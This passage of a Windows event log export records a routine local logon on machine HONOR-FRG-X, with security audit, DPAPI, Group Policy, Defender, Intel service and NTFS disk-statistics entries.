failed\tError\tApplication\tDSAService\n05.09.2026 08:28:58.666\t1003\tDSAService.dll:7:DSAClientCore.Controllers.Computer.SettingsController|SetDsaDirectoryFallback|()|DsaDirectoryFallback changed.\tInformation\tApplication\tDSAService\n05.09.2026 08:28:58.668\t1003\tDSAService.dll:7:DSAClientCore.Controllers.Computer.SettingsController|SetDownloadsDirectoryFallback|()|DownloadsDirectoryFallback changed.\tInformation\tApplication\tDSAService\n05.09.2026 08:28:58.669\t1003\tDSAService.dll:7:Intel.DSA.Service.Service|OnStartTask|()|Initializing logging\tInformation\tApplication\tDSAService\n05.09.2026 08:28:58.719\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x388\n\tProcess Name:\t\tC:\\Windows\\System32\\LogonUI.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.768\t265\t1 predictions were fetched for transforms '' and PCRs 7,11. USN: 0, Matching PCRs: 1,2,3,4,5,6,7,8,9,10,11.\tInformation\tMicrosoft-Windows-PCRPF/PCRPF\tMicrosoft-Windows-PCRPF\n05.09.2026 08:28:58.874\t1\tAuthentication started.\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:58.885\t12289\t\"DPAPI found credential key.\n\n \tCredential Key Identifier:\t0x06D97C618B44CF98843820BCDDCC91F4B12D43F5A34189AE108C7BC82636830E\n \tUser Name:\tadmin\n \tUser Sid:\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\"\tInformation\tMicrosoft-Windows-Crypto-DPAPI/Operational\tMicrosoft-Windows-Crypto-DPAPI\n05.09.2026 08:28:58.886\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x6c4\n\tProcess Name:\t\tC:\\Windows\\System32\\lsass.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.890\t12289\t\"DPAPI found credential key.\n\n \tCredential Key Identifier:\t0x06D97C618B44CF98843820BCDDCC91F4B12D43F5A34189AE108C7BC82636830E\n \tUser Name:\tadmin\n \tUser Sid:\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\"\tInformation\tMicrosoft-Windows-Crypto-DPAPI/Operational\tMicrosoft-Windows-Crypto-DPAPI\n05.09.2026 08:28:58.890\t12289\t\"DPAPI found credential key.\n\n \tCredential Key Identifier:\t0x06D97C618B44CF98843820BCDDCC91F4B12D43F5A34189AE108C7BC82636830E\n \tUser Name:\tadmin\n \tUser Sid:\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\"\tInformation\tMicrosoft-Windows-Crypto-DPAPI/Operational\tMicrosoft-Windows-Crypto-DPAPI\n05.09.2026 08:28:58.900\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: Default\\IsServiceRunning = 0x0\n \tNew value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\IsServiceRunning = 0x1\"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:28:58.902\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Diagnostics\\InitializingComponentProgress = InitializeMiscConfigLibrary\n \tNew value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Diagnostics\\InitializingComponentProgress = PostPlatformUpdate\"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:28:58.909\t4648\t\"A logon was attempted using explicit credentials.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nAccount Whose Credentials Were Used:\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nTarget Server:\n\tTarget Server Name:\tlocalhost\n\tAdditional Information:\tlocalhost\n\nProcess Information:\n\tProcess ID:\t\t0xb88\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\n\nNetwork Information:\n\tNetwork Address:\t127.0.0.1\n\tPort:\t\t\t0\n\nThis event is generated when a process attempts to log on an account by explicitly specifying that account\u2019s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.909\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t2\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tLinked Logon ID:\t\t0x5F77B\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0xb88\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\n\nNetwork Information:\n\tWorkstation Name:\tHONOR-FRG-X\n\tSource Network Address:\t127.0.0.1\n\tSource Port:\t\t0\n\nDetailed Authentication Information:\n\tLogon Process:\t\tUser32 \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.909\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t2\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tNo\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tLinked Logon ID:\t\t0x5F489\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0xb88\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\n\nNetwork Information:\n\tWorkstation Name:\tHONOR-FRG-X\n\tSource Network Address:\t127.0.0.1\n\tSource Port:\t\t0\n\nDetailed Authentication Information:\n\tLogon Process:\t\tUser32 \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.909\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\nPrivileges:\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.913\t2\tAuthentication stopped. Result 0\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:58.924\t41\t\"Begin session arbitration:\n\nUser: HONOR-FRG-X\\admin\nSession ID: 1\"\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:28:58.925\t42\t\"End session arbitration:\n\nUser: HONOR-FRG-X\\admin\nSession ID: 1\"\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:28:58.926\t7001\tUser Logon Notification for Customer Experience Improvement Program\tInformation\tSystem\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:58.935\t6003\tThe winlogon notification subscriber  was unavailable to handle a critical notification event.\tInformation\tApplication\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:58.938\t811\tThe winlogon notification subscriber  began handling the notification event (2).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:58.938\t1\tRecieved user logon notification on session 1.\tInformation\tMicrosoft-Windows-User Profile Service/Operational\tMicrosoft-Windows-User Profiles Service\n05.09.2026 08:28:58.951\t3\tInstance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, WMIProv, 0) could not be created. Error: \"Cannot create a file when that file already exists.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:28:58.954\t0\tService started successfully.\tInformation\tApplication\tIntel Graphics Software Service\n05.09.2026 08:28:58.964\t5\tRegistry file C:\\Users\\admin\\ntuser.dat is loaded at HKU\\S-1-5-21-3712849175-2219398513-4278588552-1006.\tInformation\tMicrosoft-Windows-User Profile Service/Operational\tMicrosoft-Windows-User Profiles Service\n05.09.2026 08:28:58.984\t5\tRegistry file C:\\Users\\admin\\AppData\\Local\\Microsoft\\Windows\\\\UsrClass.dat is loaded at HKU\\S-1-5-21-3712849175-2219398513-4278588552-1006_Classes.\tInformation\tMicrosoft-Windows-User Profile Service/Operational\tMicrosoft-Windows-User Profiles Service\n05.09.2026 08:28:58.987\t67\t\"Logon type: Regular \nLocal profile location: C:\\Users\\admin \nProfile type: Regular\"\tInformation\tMicrosoft-Windows-User Profile Service/Operational\tMicrosoft-Windows-User Profiles Service\n05.09.2026 08:28:59.001\t265\t1 predictions were fetched for transforms '' and PCRs 7,11. USN: 0, Matching PCRs: 1,2,3,4,5,6,7,8,9,10,11.\tInformation\tMicrosoft-Windows-PCRPF/PCRPF\tMicrosoft-Windows-PCRPF\n05.09.2026 08:28:59.007\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0xa54\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:59.014\t2\tFinished processing user logon notification on session 1.\tInformation\tMicrosoft-Windows-User Profile Service/Operational\tMicrosoft-Windows-User Profiles Service\n05.09.2026 08:28:59.014\t812\tThe winlogon notification subscriber  finished handling the notification event (2).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:59.014\t811\tThe winlogon notification subscriber  began handling the notification event (2).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:59.014\t5324\tGroup Policy received the notification Logon from Winlogon for session 1.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.015\t5351\tGroup policy session returned to winlogon.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.015\t812\tThe winlogon notification subscriber  finished handling the notification event (2).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:59.015\t811\tThe winlogon notification subscriber  began handling the notification event (2).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:59.016\t4117\tGroup Policy Session started.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.016\t4001\t\"Starting user logon Policy processing for HONOR-FRG-X\\admin. \nActivity id: {c39b0a24-49ad-4cd8-8b22-433b5a87bee2}\"\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.017\t5340\tThe Group Policy processing mode is Foreground asynchronous.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.019\t178\tGlobal user presence detected\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:59.021\t179\tReceived session display notification\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:59.025\t819\tThe following packages will be installed: . The following packages will be removed: \tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:28:59.025\t5311\tThe loopback policy processing mode is \"No loopback mode\".\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.025\t4126\tGroup Policy receiving applicable GPOs from the domain controller.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.025\t5257\tSuccessfully completed downloading policies.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.027\t5126\tGroup Policy successfully got applicable GPOs from the domain controller.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.028\t5312\t\"List of applicable Group Policy objects: \n\n\u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442\"\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.028\t5313\t\"The following Group Policy objects were not applicable because they were filtered out : \n\nLocal Group Policy\n\t\u041d\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f (\u043f\u0443\u0441\u0442\u043e)\n\"\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.030\t5320\tChecking for Group Policy client extensions that are not part of the system.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.030\t5320\tService configuration update to standalone is not required and will be skipped.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.030\t5320\tFinished checking for non-system extensions.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.033\t8001\tCompleted user logon policy processing for HONOR-FRG-X\\admin in 0 seconds.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.033\t5117\tGroup policy session completed successfully.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.123\t1001\tThe Windows Resource Exhaustion Detector started.\tInformation\tMicrosoft-Windows-Resource-Exhaustion-Detector/Operational\tMicrosoft-Windows-Resource-Exhaustion-Detector\n05.09.2026 08:28:59.192\t265\t1 predictions were fetched for transforms '' and PCRs 7,11. USN: 0, Matching PCRs: 1,2,3,4,5,6,7,8,9,10,11.\tInformation\tMicrosoft-Windows-PCRPF/PCRPF\tMicrosoft-Windows-PCRPF\n05.09.2026 08:28:59.344\t111\tCreate URL group 0xFE00000C20000001. Status 0x0. Process Id 0x1438 Executable path \\Device\\HarddiskVolume3\\Program Files (x86)\\Intel\\Driver and Support Assistant\\x86\\DSAService.exe, User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:59.344\t113\tAttempted to add URL (http://127.0.0.1:28390:127.0.0.1/) to URL group (0xFE00000C20000001). Status: 0x0. Process Id 0x1438 Executable path \\Device\\HarddiskVolume3\\Program Files (x86)\\Intel\\Driver and Support Assistant\\x86\\DSAService.exe, User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:59.346\t265\t1 predictions were fetched for transforms '' and PCRs 7,11. USN: 0, Matching PCRs: 1,2,3,4,5,6,7,8,9,10,11.\tInformation\tMicrosoft-Windows-PCRPF/PCRPF\tMicrosoft-Windows-PCRPF\n05.09.2026 08:28:59.347\t111\tCreate URL group 0xFC00000C20000001. Status 0x0. Process Id 0x1438 Executable path \\Device\\HarddiskVolume3\\Program Files (x86)\\Intel\\Driver and Support Assistant\\x86\\DSAService.exe, User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:59.347\t113\tAttempted to add URL (http://127.0.0.1:28385:127.0.0.1/intel/) to URL group (0xFC00000C20000001). Status: 0x0. Process Id 0x1438 Executable path \\Device\\HarddiskVolume3\\Program Files (x86)\\Intel\\Driver and Support Assistant\\x86\\DSAService.exe, User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:59.367\t1002\tError 0x80070002 occurred while verifying known folder {352481e8-33be-4251-ba85-6007caedcf9d} with path 'C:\\WINDOWS\\system32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\INetCache'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:28:59.496\t265\t1 predictions were fetched for transforms '' and PCRs 7,11. USN: 0, Matching PCRs: 1,2,3,4,5,6,7,8,9,10,11.\tInformation\tMicrosoft-Windows-PCRPF/PCRPF\tMicrosoft-Windows-PCRPF\n05.09.2026 08:28:59.664\t142\t\"Summary of disk space usage, since last event:\n\n           Available space was between 68.43 GB and 68.66 GB\n           Change in available space: 230.72 MB\n           \n           Available clusters were between: 17937337 and 17996401\n           Reserved clusters were between: 57815 and 57815\n           Txf abort reserved clusters were between: 1024 and 1024\n           \n           Elapsed seconds: 0\n           \n           Pagefile size: 0 Bytes\n           Volume size: 200.07 GB\n           Bytes per cluster: 4096\n           \n           Volume guid: {5285d7ae-0000-0000-007e-000000000000}\n           Volume name: E:\n           Is boot volume: false\n           \n           Cached runs miss counts:\n               For MFT: 0\n               For MFT zone: 0\n               Everything else: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:59.672\t142\t\"Summary of disk space usage, since last event:\n\n           Available space was between 2.77 GB and 2.79 GB\n           Change in available space: 17.85 MB\n           \n           Available clusters were between: 725251 and 729820\n           Reserved clusters were between: 3532 and 3532\n           Txf abort reserved clusters were between: 1024 and 1024\n           \n           Elapsed seconds: 0\n           \n           Pagefile size: 0 Bytes\n           Volume size: 653.32 GB\n           Bytes per cluster: 4096\n           \n           Volume guid: {5285d7ae-0000-0000-0000-300432000000}\n           Volume name: F:\n           Is boot volume: false\n           \n           Cached runs miss counts:\n               For MFT: 0\n               For MFT zone: 2\n               Everything else: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:59.698\t142\t\"Summary of disk space usage, since last event:\n\n           Available space was between 5.10 GB and 5.12 GB\n           Change in available space: 21.26 MB\n           \n           Available clusters were between: 1336183 and 1341624\n           Reserved clusters were between: 4400 and 4400\n           Txf abort reserved clusters were between: 1024 and 1024\n           \n           Elapsed seconds: 0\n           \n           Pagefile size: 0 Bytes\n           Volume size: 78.13 GB\n           Bytes per cluster: 4096\n           \n           Volume guid: {5285d7ae-0000-0000-0000-a058d5000000}\n           Volume name: G:\n           Is boot volume: false\n           \n           Cached runs miss counts:\n               For MFT: 0\n               For MFT zone: 0\n               Everything else: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:59.701\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {5285d7ae-0000-0000-007e-000000000000}\n           Volume name: E:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume8\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Duration (micro seconds): 7529\n           InputFlags: 0x10\n           Reason: Proactive background scan to repopulate cached runs\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:59.701\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {5285d7ae-0000-0000-007e-000000000000}\n           Volume name: E:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume8\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Media type: Hard disk\n           Runs cached: 162\n           Longest run cached: 23.86 GB\n           Most populated bin Count: 16\n           Most populated bin's minimum length: 992.01 MB\n           Most populated bin's maximum length: -\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:59.701\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {5285d7ae-0000-0000-0000-300432000000}\n           Volume name: F:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume9\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Duration (micro seconds): 25547\n           InputFlags: 0x10\n           Reason: Proactive background scan to repopulate cached runs\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:59.701\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {5285d7ae-0000-0000-0000-300432000000}\n           Volume name: F:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume9\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Media type: Hard disk\n           Runs cached: 1037\n           Longest run cached: 37.35 MB\n           Most populated bin Count: 38\n           Most populated bin's minimum length: 8 KB\n           Most populated bin's maximum length: 8 KB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:59.701\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {5285d7ae-0000-0000-0000-a058d5000000}\n           Volume name: G:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume10\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Duration (micro seconds): 2971\n           InputFlags: 0x10\n           Reason: Proactive background scan to repopulate cached runs\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:59.701\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {5285d7ae-0000-0000-0000-a058d5000000}\n           Volume name: G:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume10\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Media type: Hard disk\n           Runs cached: 334\n           Longest run cached: 5.09 GB\n           Most populated bin Count: 188\n           Most populated bin's minimum length: 0 Bytes\n           Most populated bin's maximum length: 4 KB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:29:00.078\t2003\tWindows 10 Pro6.3262002009windows-11-25h2-6426.2.0.7DSACommon.dllDSAClientCore.Controllers.Computer.DeviceControllerS:GD:EnumerateDevicesFileNotFoundExceptionCould not load file or assembly 'C:\\Program Files (x86)\\Intel\\Driver and Support Assistant\\x86\\DS...\tInformation\tApplication\tDSAService\n05.09.2026 08:29:00.078\t2003\tWindows 10 Pro6.3262002009windows-11-25h2-6426.2.0.7DSACommon.dllDSAClientCore.Controllers.Computer.DeviceControllerS:GSD:EnumerateDevicesFileNotFoundExceptionCould not load file or assembly 'C:\\Program Files (x86)\\Intel\\Driver and Support Assistant\\x86\\DS...\tInformation\tApplication\tDSAService\n05.09.2026 08:29:01.188\t269\tSRCache successfully initialized [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:29:01.202\t287\tStateRepository lifecycle transition to Running [ProcessId=900, ThreadId=2256] [ElapsedMS: RegisterService=0, StateRepository=0 AccessControl=0 Upgrade=643 Cache=2903 Module=0 CoRegisterServerShutdown=0 RegisterDisconnectableContext=16 RPC=0\tInformation\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:29:01.203\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount 